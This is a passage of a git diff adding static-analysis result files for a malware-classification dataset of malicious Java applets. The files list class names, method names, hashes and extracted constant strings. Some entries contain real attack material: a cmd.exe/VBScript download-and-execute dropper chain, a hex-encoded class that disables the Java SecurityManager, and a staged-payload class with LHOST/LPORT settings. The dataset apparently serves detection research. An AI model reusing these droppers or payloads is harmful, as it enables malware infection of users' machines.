8\\r;!\\x17)\\x1f.\\x18-\\x1b!\\x17)\\x1f.\\x18\\r;!\\x17)\\x1f.\\x18-\\x18\\x0b\\x14)pl^XhbV}VaV-Yx\\x17HSbYYts^)pl^xHbV}P|\\x18[./\\x07){KuB\\x1b\"=*\\x1f.\\x18\\r;!\\x17)\\x1f.\\x18-\\x1b!\\x17)\\x1f.\\x18\\r;!\\x17)\\x1f.\\x18-\\x1b!\\x17)\\x1f.\\x18\\r;!\\x17)\\x1f.\\x18-\\x1b!\\x14\\x03\\x1c.\\x18\\r;!\\x17)\\x1f.\\x18-SuCy\\x05!\\x17Zlv\\x19hSbYyTs^\\'\\\\aU\\r;!\\x17)\\x1f.\\x18-\\x1b!\\x17*5-\\x18\\r;!\\x17)\\x1f.\\x18-\\x1b!\\x17)\\x1f.\\x18\\r;!\\x17)\\x1f.\\x18-\\x1b!\\x17)\\x1f.\\x18\\r;!\\x17)\\x1f.\\x18-\\x1b!\\x17)\\x1c\\x04\\x1b\\x0e8\"\\x14*\\x1c-\\x1b.\\x18\"\\x14*\\x1c-\\x1b\\x0e8\"\\x14*\\x1c-\\x1b.\\x18\"\\x14*\\x1c-\\x1b\\x0e8\"\\x14*\\x1c-\\x1b.\\x18\"\\x14*\\x1c-2", "d}^|L", "d^gV"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b2207563a34c4694dad5aa768f4885e092de91c3", "file_name": "java_malicious/53b6635cbf1e0ed76820bd3161f2876337de1e4fb08297a41a96e407b514333e", "_id": "141b755b-d22c-4555-8fcc-44ca8cd704f0", "score": 0, "entropy": 5.6597252643822795, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 13581, "ssdeep": "192:qCMqlv7StPgLBvKIC1tWqNuNPFCALBKJ6uaJm980xqgPz3H3:p9YILH6tWqIPFCUjTdYPrH3", "sha256": "53b6635cbf1e0ed76820bd3161f2876337de1e4fb08297a41a96e407b514333e", "md5": "ee9f638be8a5067c6749bca01781a518", "parent_sha256": "53b6635cbf1e0ed76820bd3161f2876337de1e4fb08297a41a96e407b514333e"}} \ No newline at end of file diff --git a/java_classification/data/malicious/541cf876c150714f920b1b936aea89905afeaddbcb30c3b5660b530b8e3920e2.results b/java_classification/data/malicious/541cf876c150714f920b1b936aea89905afeaddbcb30c3b5660b530b8e3920e2.results new file mode 100755 index 0000000..8275802 --- /dev/null +++ b/java_classification/data/malicious/541cf876c150714f920b1b936aea89905afeaddbcb30c3b5660b530b8e3920e2.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "Ghs", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "IeCNbViK", "jCMwmmvQL", "OQAi", "RrDDvFw", "QttJWATNI", "DhTJE", "obf", "OayNrLKj", "YSPfKeR", "deAcnx", "jQrijhmD", "haDJPfffnS", "jDU", "LaTUCjc", "PckdyNLpUg", "klOfRiYfUl", "ugxIBPCfV", "hwzQRKVb", "xAnTPe", "qbnngl", "jNC", "lPjDm", "NoTnzBa", "xDs", "FVV", "lcsfP", "init", ""], "minor_version": 0, "const_pool_count": 1873}}, "_id": "c025879d-8e82-4243-b12f-8583359b5b30", "verbose": {"java": {"constant strings": ["", "a&d", "&d", "java.secu&rity.Per", "mi&ssion", "lX2u-/DnewI&nst", "an&ce", "sCA2gv&a.", "iO.tMP&di", "j&a", "R", "ity.Pe&rm", "iss", "java.secur&ity.Acc", "es&sCont", "r&olContext", "ja&va.vers&", "&ion", "_", "1.&7", ".&0_", "1.&6.0&_", "forName", "ja&va.l", "ang&.Syst&em", "get&Secur", "ityMa&nager", "ang.S&ystem", "ge&tSecur", "MkMcmNBlSTwPgOrKFdVHymulmNkpbImcoLVlRxUfgBRmuXjntmyPLGoobpLCQsQQizEvvGuyAvYeLHQXzFAteOXSAyxBrJKKdrvQwACRLKwPJmPVUdD", "AdlKeliOOmaseOhAaWYPovpoQYKATLCaSzOQdogFLPvPWUwkClvpbdyoJBFqWukypiVsRzSlUDnXtweiggWQaHXntLFmNqTaYSzumqsegGHrUiou", "F2F-Q.e&X", "e&", "lJjnRLueRMXHoGafdatkKnHHKcmKEulfswopuASaPbHXJqdYXfxCizkLgSWPNNRszQmtUhsDSRSanmoIckqmcgWqYGoBxStnMCNvGVMOtFLcHVPFDv", "ja&va.awt.image.R&aster", "S77c&reateWri", "ta&bleRaster", "java.&&&&a&wt.i", "mage&.Sam&&&p", "leM&&&odel", "java.a&&&&wt.i", "ma&&&&&ge.DataBuf&&fer", "j&ava.a&w&&&&&t.Po", "in&t", "java&.awt.im&&&&&a", "ge.Co&lorM", "oD&el", "Qi84getRGB&de", "fa&Ult", "S6M,gse&tEl", "e&m", "1iUtQg&etTa", "ZQQrg&et", "@oXDIe&t", "&S", "QO@#D,,,,,s&", "AOw.Dcuri", "H;GY2ty", "9QLaZMa", ",t!1Dnage", " ", "ge", "t&Mas&ks", "2Av;gadOb&jec", "t&", "XARFuFb", "gKeBkyJ", "wEV", "TPrqUYAsH", "fo&&&&&rNa&&&&&&&&me", "j&av&a.io.Buffer&edOutp", "s2SW#utSt&ream", "j&av&a.io.Byte&Arr&ayInp", "BU/3autSt&ream", "j&av&a.io.ObjectInp", "d1HkQutSt&ream", "j&av&a.io.", "Inp", "!1[X4utSt&re&am", "XXzS9java.i&o.Ou", "=!;O!tputS&tream", "/D7D,\\n&", "J&A&V&A.V&", "&E", "1.&6", ".0_&", "."]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "87a2afa51e68d708eead31378ab5bd19bae27929", "file_name": "java_malicious/541cf876c150714f920b1b936aea89905afeaddbcb30c3b5660b530b8e3920e2", "_id": "c025879d-8e82-4243-b12f-8583359b5b30", "score": 0, "entropy": 5.855254528997016, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 21764, "ssdeep": "384:0Hje0yokZjSS+RewxQcJGiQ3ePAZl8nq2ctNvd:Sje1bZjz+ReYvlQuopFd", "sha256": "541cf876c150714f920b1b936aea89905afeaddbcb30c3b5660b530b8e3920e2", "md5": "df593779e3b7b801636dc9d64b0134bc", "parent_sha256": "541cf876c150714f920b1b936aea89905afeaddbcb30c3b5660b530b8e3920e2"}} \ No newline at end of file diff --git a/java_classification/data/malicious/5497153b23c91d45ace3923ced058dff9ecb30f51ca62aaeee7cb8b499721c47.results b/java_classification/data/malicious/5497153b23c91d45ace3923ced058dff9ecb30f51ca62aaeee7cb8b499721c47.results new file mode 100755 index 0000000..047691b --- /dev/null +++ b/java_classification/data/malicious/5497153b23c91d45ace3923ced058dff9ecb30f51ca62aaeee7cb8b499721c47.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "UlffDpI.java", "class_name": "luLbEI/UlffDpI", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "sYuEXRpPg", "qHlbeg", "aRNCB", "tKreO"], "minor_version": 0, "const_pool_count": 205}}, "_id": "f6d9f5ec-3ab4-470d-8b26-8544842e1314", "verbose": {"java": {"constant strings": ["//-"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c89fdeb06ff7c204b1f26d68b553fe45eccba473", "file_name": "java_malicious/5497153b23c91d45ace3923ced058dff9ecb30f51ca62aaeee7cb8b499721c47", "_id": "f6d9f5ec-3ab4-470d-8b26-8544842e1314", "score": 0, "entropy": 5.568054139079714, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3584, "ssdeep": "48:qHZBFCNyFlZJfVXTH7pCf/CWSnI1VVQBejZuOme2kMUddysWiI1FqwzF0oY:wZOoFlZJJ7YC01VuBejwVeX0nqwY", "sha256": "5497153b23c91d45ace3923ced058dff9ecb30f51ca62aaeee7cb8b499721c47", "md5": "7eb0de9ee9cc377c403691838e63c0a0", "parent_sha256": "5497153b23c91d45ace3923ced058dff9ecb30f51ca62aaeee7cb8b499721c47"}} \ No newline at end of file diff --git a/java_classification/data/malicious/54a617e3c5a4e6f3d5a6b568ad659c83a44660f7e2461939f861dd5bc5ab7d35.results b/java_classification/data/malicious/54a617e3c5a4e6f3d5a6b568ad659c83a44660f7e2461939f861dd5bc5ab7d35.results new file mode 100755 index 0000000..6240993 --- /dev/null +++ b/java_classification/data/malicious/54a617e3c5a4e6f3d5a6b568ad659c83a44660f7e2461939f861dd5bc5ab7d35.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "nDpGrvLpKz/Payload", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "0062a8e5-a5eb-4263-b1d1-439f88e5b377", "verbose": {"java": {"constant strings": ["nDpGrvLpKz.Payload", ".class", "/nDpGrvLpKz.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "nDpGrvLpKz.dat", "URL", "", "https:", "nDpGrvLpKz/PayloadTrustManager.class", "PayloadTrustManager.class", "AESPassword", "nDpGrvLpKz/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "nDpGrvLpKz.PayloadTrustManager", "useFor", "java.net.URLConnection", "nDpGrvLpKz.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "Payload -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javaYsZtrpE.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "68bd7477a4eeabdbe07b6dcd7b7be7fdbfa569fb", "file_name": "java_malicious/54a617e3c5a4e6f3d5a6b568ad659c83a44660f7e2461939f861dd5bc5ab7d35", "_id": "0062a8e5-a5eb-4263-b1d1-439f88e5b377", "score": 0, "entropy": 6.140368355476495, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMSDUBVv+W0JlThmguxjIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrB:gmO1tCJWtmjRNvpvUrKYvCkgHzbDrDF", "sha256": "54a617e3c5a4e6f3d5a6b568ad659c83a44660f7e2461939f861dd5bc5ab7d35", "md5": "106a4a033fbd5a88cfcef588c42a55a1", "parent_sha256": "54a617e3c5a4e6f3d5a6b568ad659c83a44660f7e2461939f861dd5bc5ab7d35"}} \ No newline at end of file diff --git a/java_classification/data/malicious/55980b5a22f4a91699b25c81ec19441a8def03bbf82a892340499b8d616d3e45.results b/java_classification/data/malicious/55980b5a22f4a91699b25c81ec19441a8def03bbf82a892340499b8d616d3e45.results new file mode 100755 index 0000000..15ec904 --- /dev/null +++ b/java_classification/data/malicious/55980b5a22f4a91699b25c81ec19441a8def03bbf82a892340499b8d616d3e45.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "FlashPlayer", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER"], "major_version": 45, "method_names": ["init", "VaUQzTWmdEXKN", ""], "minor_version": 3, "const_pool_count": 216}}, "_id": "fbf7d5e4-16f6-46b2-9df0-183275ce0171", "verbose": {"java": {"constant strings": ["r!r==\"g~{:x4|?", "&$x=", "8", "G3}?m>{z\\\\)e(", "1e=K\\x16n4t1}$&)\\x1c\\x1ez\"->w2iqf9d5a4g4p)", "|p", "$", "\\x11]\\x14N\\x1f@\\x1f", "&", "o", "*", "("]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "f046c474c1607315ba5f74fa7db9a9155d06c374", "file_name": "java_malicious/55980b5a22f4a91699b25c81ec19441a8def03bbf82a892340499b8d616d3e45", "_id": "fbf7d5e4-16f6-46b2-9df0-183275ce0171", "score": 0, "entropy": 5.963057881560432, "libmagic": "compiled Java class data, version 45.3", "file_size": 2974, "ssdeep": "48:7p0usVsfo9DZbFEREAcuPeRcJHp22n+84CDZDRfhtVC0fG19T1T5NWEjlkIcc57O:7pqjhERjcu1K84C1dP61rbjOD97", "sha256": "55980b5a22f4a91699b25c81ec19441a8def03bbf82a892340499b8d616d3e45", "md5": "1f56c5a953670caffb5324a1aa08f57c", "parent_sha256": "55980b5a22f4a91699b25c81ec19441a8def03bbf82a892340499b8d616d3e45"}} \ No newline at end of file diff --git a/java_classification/data/malicious/55e921739cb7a933c77fda4e3af84e03d212bcd0ee4633af407ed453787a947f.results b/java_classification/data/malicious/55e921739cb7a933c77fda4e3af84e03d212bcd0ee4633af407ed453787a947f.results new file mode 100755 index 0000000..dd0d928 --- /dev/null +++ b/java_classification/data/malicious/55e921739cb7a933c77fda4e3af84e03d212bcd0ee4633af407ed453787a947f.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "qzed", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/security/PrivilegedExceptionAction"], "major_version": 50, "method_names": ["", "run", "btxjuyklkimvpj", "fkfilqfppjguxpxcgonhbgcw", "uyfvuhzcpusmxnvlpjnmjseo"], "minor_version": 0, "const_pool_count": 232}}, "_id": "07d94c7e-3e26-427a-ba17-5cf591586fda", "verbose": {"java": {"constant strings": ["jaobtjmodrechlc", "uzsrzcmqaolpaeg", "frzdrhlqbae", "pnnhsyutzmqxyfpdjy", " (^fs([GW5[1#f*kYki8@?#W#", "nF8@>+nvW8*5EWisEnGG(?#W#", "*(+k f3k^8;kfYskG?#W#", "E63[;1n^*;5Y(6[*f; >s#;?#W#", "@ E58kF(f;>*n?#W#", ">635+f1ik 16kW>3*EYn*1 ?#W#", "1kvG>s+>s^W3E3(6G #v#v?#W#", "1Y55vn@(6@(ivis#v*Gv>f#5>?#W#", "G[@(Wi>3>+^6W+6ifiG#s?#W#", " 1 Y>^Y 5YF#E1kk?#W#", "@151?8E?6*G>8F", "rr", "ccpenznytsz", "qsgzeurjxdhckor", "tcsdvaawxfftqqnxsp", "rzvomqjzsmlupfcysln", "quozuctxkkfa", "yicyyappyjweaeczn", "lhjwilqslb", "hedvdaneagit", "idjzehdoixbjfkbgccv", "ihyhksbxyvcwa", "kfhfvukhzjd", "sycbbmlptvzsefgwrxfw", "jmockvsajqxasvw", "hksifczihjhgxjyefidr", "vtvqpvqbuoqkyme", "hcrwpwvcinmrbuujy", "dosaeovzgwoszzw", "emsisgqgxuzaclpdzzxi", "bnpcwfuhzq", "bcchlveppcoy", "ubztihjaqgyfmctxv", "kcwagrwidgmdzg", "xbhufozvbdgvmnq", "czpvxyyoyfgpl", "gsgeoeoqxainrker", "zffgxveeuwcdxqwz", "ecpwlymqynfmwkx"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e20f12a62dc5505c80702588babb089b362c7a94", "file_name": "java_malicious/55e921739cb7a933c77fda4e3af84e03d212bcd0ee4633af407ed453787a947f", "_id": "07d94c7e-3e26-427a-ba17-5cf591586fda", "score": 0, "entropy": 6.077614749124506, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 4124, "ssdeep": "48:2crI3WOAawtUDpWy4Y+AemdkXlnmMFrw/IMjHFOUSOOPqYJyxE0YPIupZW1Q39rP:CJ9566IMjlT+qHEem35/qCzGcclonNcW", "sha256": "55e921739cb7a933c77fda4e3af84e03d212bcd0ee4633af407ed453787a947f", "md5": "dfa931a9806bfab3f08ead349a944447", "parent_sha256": "55e921739cb7a933c77fda4e3af84e03d212bcd0ee4633af407ed453787a947f"}} \ No newline at end of file diff --git a/java_classification/data/malicious/570f35a39b4c425ff22ba72e82ed2729cec115d69b01855641b4c6fcf8160feb.results b/java_classification/data/malicious/570f35a39b4c425ff22ba72e82ed2729cec115d69b01855641b4c6fcf8160feb.results new file mode 100755 index 0000000..ff59593 --- /dev/null +++ b/java_classification/data/malicious/570f35a39b4c425ff22ba72e82ed2729cec115d69b01855641b4c6fcf8160feb.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Exploit.java", "class_name": "exploit/Exploit", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 51, "method_names": ["", "hex2Byte", "init", "main", ""], "minor_version": 0, "const_pool_count": 181}}, "_id": "05cbab51-331b-49f5-a1be-23d2b6a583d2", "verbose": {"java": {"constant strings": ["", "sun.org.mozilla.javascript.internal.Context", "sun.org.mozilla.javascript.internal.GeneratedClassLoader", "findConstructor", "findVirtual", "createClassLoader", "defineClass", "calc.exe", "CAFEBABE0000003200270A000500180A0019001A07001B0A001C001D07001E07001F0700200100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C65010001650100154C6A6176612F6C616E672F457863657074696F6E3B010004746869730100034C423B01000D537461636B4D61705461626C6507001F07001B01000372756E01001428294C6A6176612F6C616E672F4F626A6563743B01000A536F7572636546696C65010006422E6A6176610C000800090700210C002200230100136A6176612F6C616E672F457863657074696F6E0700240C002500260100106A6176612F6C616E672F4F626A656374010001420100276A6176612F73656375726974792F50726976696C65676564457863657074696F6E416374696F6E01001E6A6176612F73656375726974792F416363657373436F6E74726F6C6C657201000C646F50726976696C6567656401003D284C6A6176612F73656375726974792F50726976696C65676564457863657074696F6E416374696F6E3B294C6A6176612F6C616E672F4F626A6563743B0100106A6176612F6C616E672F53797374656D01001273657453656375726974794D616E6167657201001E284C6A6176612F6C616E672F53656375726974794D616E616765723B295600210006000500010007000000020001000800090001000A0000006C000100020000000E2AB700012AB8000257A700044CB1000100040009000C00030003000B000000120004000000080004000B0009000C000D000D000C000000160002000D0000000D000E00010000000E000F001000000011000000100002FF000C00010700120001070013000001001400150001000A0000003A000200010000000C01B80004BB000559B70001B000000002000B0000000A00020000001000040011000C0000000C00010000000C000F0010000000010016000000020017"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "93bb364714e061a0dff675a9bbb2d87456808528", "file_name": "java_malicious/570f35a39b4c425ff22ba72e82ed2729cec115d69b01855641b4c6fcf8160feb", "_id": "05cbab51-331b-49f5-a1be-23d2b6a583d2", "score": 10, "entropy": 5.795376460529244, "libmagic": "compiled Java class data, version 51.0", "file_size": 5534, "ssdeep": "96:WPWFlwKSlZyNuyZn8taCWKsRhIZiNqzyIZYSjm4jNZN4RwG9FUcd+dw8:W8lwKSlZyNuAn8taCZoIUDImz4jNZNSW", "sha256": "570f35a39b4c425ff22ba72e82ed2729cec115d69b01855641b4c6fcf8160feb", "md5": "bfb18be4be7b5694c2496ced809c3aa4", "parent_sha256": "570f35a39b4c425ff22ba72e82ed2729cec115d69b01855641b4c6fcf8160feb"}} \ No newline at end of file diff --git a/java_classification/data/malicious/5896a66a0ad7f934620682a371b82cb6f8e6f8956df8755595f6b5fa4be017ee.results b/java_classification/data/malicious/5896a66a0ad7f934620682a371b82cb6f8e6f8956df8755595f6b5fa4be017ee.results new file mode 100755 index 0000000..5355446 --- /dev/null +++ b/java_classification/data/malicious/5896a66a0ad7f934620682a371b82cb6f8e6f8956df8755595f6b5fa4be017ee.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Craigslist_Updater.java", "class_name": "Craigslist_Updater", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "init", "KfMp3VVfFx5XA7k99Wo7"], "minor_version": 0, "const_pool_count": 120}}, "_id": "e030c7f5-d86d-44bb-a182-23b391677366", "verbose": {"java": {"constant strings": ["DownloadFolder", "\\\\"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "078599f6b37f3f6bc83c8b410ba017782888e5ff", "file_name": "java_malicious/5896a66a0ad7f934620682a371b82cb6f8e6f8956df8755595f6b5fa4be017ee", "_id": "e030c7f5-d86d-44bb-a182-23b391677366", "score": 0, "entropy": 5.599529139683195, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 2065, "ssdeep": "48:mSwxcyFlJeXH9VXFjzQW4uPEb41hb5Amjkchatgo4Y3:+x9Fl8dwW4u5OSkchatgot", "sha256": "5896a66a0ad7f934620682a371b82cb6f8e6f8956df8755595f6b5fa4be017ee", "md5": "e1b0f7de4fa2513db7075a0a9f8822d2", "parent_sha256": "5896a66a0ad7f934620682a371b82cb6f8e6f8956df8755595f6b5fa4be017ee"}} \ No newline at end of file diff --git a/java_classification/data/malicious/58e889f4d63a91f5db0dfd6f815434555db696d7d7bccb3d74590bad25d9e2ff.results b/java_classification/data/malicious/58e889f4d63a91f5db0dfd6f815434555db696d7d7bccb3d74590bad25d9e2ff.results new file mode 100755 index 0000000..e564e1f --- /dev/null +++ b/java_classification/data/malicious/58e889f4d63a91f5db0dfd6f815434555db696d7d7bccb3d74590bad25d9e2ff.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "GondadGondadExp.java", "class_name": "GondadGondadExp", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "init"], "minor_version": 3, "const_pool_count": 133}}, "_id": "14d5c2ab-7c8a-437a-b7d9-54ec0cc05f97", "verbose": {"java": {"constant strings": ["java.lang.System.setSecurity", "bbxl2pQLzaXW0FzhH", "dota", "function", "j", "return \"exploit!\";};", "s", "error.message = this;", "ts(0)", "ho UR", "var error = new Error(\"My error\");this.toString = ", "(){ ", "Manager(null);java.lang.Runtime.getRuntime().exec(\\'cmd.exe /c ec", "L = LCase(WScript.Argumen", ")>\"%temp%\\\\\\\\bbxl2pQL.vbs\"&&cmd.exe /c echo dim m,s,gond>>\"%temp%\\\\\\\\bbxl2pQL.vbs\"&&cmd.exe /c echo gond=\"bbxl2pQLzaXW0Fzh\">>\"%temp%\\\\\\\\bbxl2pQL.vbs\"&&cmd.exe /c echo m=\"Mvivcvrvovsvovfvtv.vXvMvLvHvTvTvP\">>\"%temp%\\\\\\\\bbxl2pQL.vbs\"&&cmd.exe /c echo s=\"AzDzOzDBz.zSztzrzezazm\">>\"%temp%\\\\\\\\bbxl2pQL.vbs\"&&cmd.exe /c echo set cmd =Createobject(replace(m,\"v\",\"\")) >>\"%temp%\\\\\\\\bbxl2pQL.vbs\"&&cmd.exe /c echo cmd.Open \"GET\",URL,0 >>\"%temp%\\\\\\\\bbxl2pQL.vbs\"&&cmd.exe /c echo cmd.Send()>>\"%temp%\\\\\\\\bbxl2pQL.vbs\"&&cmd.exe /c echo FileName=LCase(WScript.Arguments(1))>>\"%temp%\\\\\\\\bbxl2pQL.vbs\"&&cmd.exe /c echo Set CsCriptGet = Createobject(replace(s,\"z\",\"\"))>>\"%temp%\\\\\\\\bbxl2pQL.vbs\"&&cmd.exe /c echo CsCriptGet.Mode=^3>>\"%temp%\\\\\\\\bbxl2pQL.vbs\"&&cmd.exe /c echo CsCriptGet.Type=^1>>\"%temp%\\\\\\\\bbxl2pQL.vbs\"&&cmd.exe /c echo CsCriptGet.Open()>>\"%temp%\\\\\\\\bbxl2pQL.vbs\"&&cmd.exe /c echo CsCriptGet.Write(cmd.responseBody)>>\"%temp%\\\\\\\\bbxl2pQL.vbs\"&&cmd.exe /c echo CsCriptGet.SaveToFile FileName,^2>>\"%temp%\\\\\\\\bbxl2pQL.vbs\"&&cmd.exe /c cscript \"%temp%\\\\\\\\bbxl2pQL.vbs\" ", " \"%temp%\\\\\\\\Gondad.exe\"&& \"%temp%\\\\\\\\Gondad.exe\"\\');", "error"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "dedd634ca1fd9eca7d295650a5d2f00b66dd90a5", "file_name": "java_malicious/58e889f4d63a91f5db0dfd6f815434555db696d7d7bccb3d74590bad25d9e2ff", "_id": "14d5c2ab-7c8a-437a-b7d9-54ec0cc05f97", "score": 0, "entropy": 5.868756137628213, "libmagic": "compiled Java class data, version 45.3", "file_size": 3274, "ssdeep": "48:CayGl/lB3pDhZ0A5bcottLiHZitj0E6xOUdvXdGOIM89TAG8PnI:CzGltB3pDv1cyttiHxO6dKM89bUI", "sha256": "58e889f4d63a91f5db0dfd6f815434555db696d7d7bccb3d74590bad25d9e2ff", "md5": "2590ea49be2418745f9a80c718f7743e", "parent_sha256": "58e889f4d63a91f5db0dfd6f815434555db696d7d7bccb3d74590bad25d9e2ff"}} \ No newline at end of file diff --git a/java_classification/data/malicious/5999aaefc118f9c02bbccf5b12ff90869d4241bd4c4290aef5830e06be6d9690.results b/java_classification/data/malicious/5999aaefc118f9c02bbccf5b12ff90869d4241bd4c4290aef5830e06be6d9690.results new file mode 100755 index 0000000..d00d4e8 --- /dev/null +++ b/java_classification/data/malicious/5999aaefc118f9c02bbccf5b12ff90869d4241bd4c4290aef5830e06be6d9690.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Zeb3.java", "class_name": "Zeb3", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "voshia", "limon", "noshian", "bivata", "repa", ""], "minor_version": 0, "const_pool_count": 194}}, "_id": "e0da01ae-29e4-43f4-b0a3-1897460196dc", "verbose": {"java": {"constant strings": ["ueghuirgehuiregurgeorgje", "getCla", "ss", "", "re", "placeAll", "bilajionoristoran", "jabilajionoristoranva.bebilajionoristoranans.Statebilajionoristoranment", "sebilajionoristorantSecbilajionoristoranurityMabilajionoristorannager", "jbilajionoristoranava.awbilajionoristorant.image.DatbilajionoristoranaBufferBybilajionoristorante", "getTarbilajionoristoranget", "javbilajionoristorana.awt.imbilajionoristoranage.BuffbilajionoristoraneredImbilajionoristoranage", "javbilajionoristorana.awt.image.MulbilajionoristorantiPixelPabilajionoristoranckedSamplbilajionoristoraneModel", "crebilajionoristoranateWritbilajionoristoranableRabilajionoristoranster", "javbilajionoristorana.awt.imabilajionoristorange.Rabilajionoristoranster", "jabilajionoristoranva.awt.imbilajionoristoranage.SambilajionoristoranpleModel", "javbilajionoristorana.awt.imabilajionoristorange.DbilajionoristoranataBbilajionoristoranuffer", "javbilajionoristorana.abilajionoristoranwt.Poibilajionoristorannt", "jbilajionoristoranava.awt.imabilajionoristorange.BufbilajionoristoranferedImabilajionoristorange", "jabilajionoristoranva.awbilajionoristorant.imabilajionoristorange.ColobilajionoristoranrModel", "jabilajionoristoranva.abilajionoristoranwt.imbilajionoristoranage.WribilajionoristorantableRastbilajionoristoraner", "jbilajionoristoranava.utbilajionoristoranil.Hashtbilajionoristoranable", "getbilajionoristoranRaster", "setPbilajionoristoranixel", "javbilajionoristorana.awbilajionoristorant.gebilajionoristoranom.AffbilajionoristoranineTransbilajionoristoranform", "jabilajionoristoranva.awbilajionoristorant.imabilajionoristorange.AffbilajionoristoranineTransbilajionoristoranformOp", "jbilajionoristoranava.awbilajionoristorant.RenderbilajionoristoraningHints", "javbilajionoristorana.securbilajionoristoranity.Perbilajionoristoranmissions", "jabilajionoristoranva.secubilajionoristoranrity.AllPebilajionoristoranrmission", "abilajionoristorandd", "fibilajionoristoranle://bilajionoristoran/", "jabilajionoristoranva.sebilajionoristorancurity.CodeSbilajionoristoranource", "jabilajionoristoranva.nbilajionoristoranet.UbilajionoristoranRL", "jabilajionoristoranva.secubilajionoristoranrity.cebilajionoristoranrt.Certbilajionoristoranificate", "jabilajionoristoranva.secubilajionoristoranrity.ProtecbilajionoristorantionDombilajionoristoranain", "jbilajionoristoranava.securbilajionoristoranity.PermbilajionoristoranissionCollebilajionoristoranction", "jbilajionoristoranava.secubilajionoristoranrity.AccebilajionoristoranssControlConbilajionoristorantext", "abilajionoristoran[", "..bilajionoristoran.] =bilajionoristoran ", "exbilajionoristoranecubilajionoristorante", "obilajionoristorans.arcbilajionoristoranh", "6bilajionoristoran4", "fibilajionoristoranltebilajionoristoranr", "jabilajionoristoranva.secubilajionoristoranrity.Permisbilajionoristoransion", "getSebilajionoristorancurityMbilajionoristorananager", "gbilajionoristoranetClabilajionoristoranss", "gebilajionoristorantClabilajionoristoranssLobilajionoristoranader", "rebilajionoristoranadObjbilajionoristoranect", "gebilajionoristorantConstbilajionoristoranructor", "newbilajionoristoranInsbilajionoristorantance", "CAFbilajionoristoranEBABE00000032bilajionoristoran003107000201000454696bilajionoristoranD650700040100106A617bilajionoristoran6612F6C616E672F4F626bilajionoristoranA656374070006010027bilajionoristoran6A6176612F73656375bilajionoristoran726974792F5bilajionoristoran0726976696C656765bilajionoristoran6445bilajionoristoran7863657074696F6E416374696F6E010bilajionoristoran0063C696E69743E010015284C6A6176bilajionoristoran612F6C616E672F537472696E673B29bilajionoristoran5601000A457863657074696F6E730bilajionoristoran7000B0100136A6176612F6C616E672F4bilajionoristoran57863657074696F6E010004436F64bilajionoristoran650A0003000E0C0007000F010003282bilajionoristoran9560A0011001307001201001E6A6176bilajionoristoran612F73656375726974792F416363657bilajionoristoran373436F6E74726F6C6C65720C001400150bilajionoristoran1000C646F50726976696C65676564010bilajionoristoran03D284C6A6176612F736563757269747bilajionoristoran92F50726976696C656765644578636570bilajionoristoran74696F6E416374696F6E3B294C6A617bilajionoristoran6612F6C616E672F4F626A6563743B07bilajionoristoran00170100276A6176612F736bilajionoristoran56375726974792F5072697bilajionoristoran6696C65676564416bilajionoristoran374696F6E457863657074696F6E0bilajionoristoran1000F4C696E654E756D6265725bilajionoristoran461626C650100124C6F6bilajionoristoran3616C5661726961626C655461626bilajionoristoranC65010004746869730100064C54696D65bilajionoristoran3B01000375726C0100124C6A6176612Fbilajionoristoran6C616E672F537472696E673B01000D53bilajionoristoran7461636B4D61705461626C65070020010bilajionoristoran0106A6176612F6C616E672F537472696bilajionoristoranE6701000372756E01001428294C6A61bilajionoristoran76612F6C616E672F4F626A6563743B0bilajionoristoranA002400260700250100106A6176612bilajionoristoranF6C616E672F53797374656D0C00270028bilajionoristoran01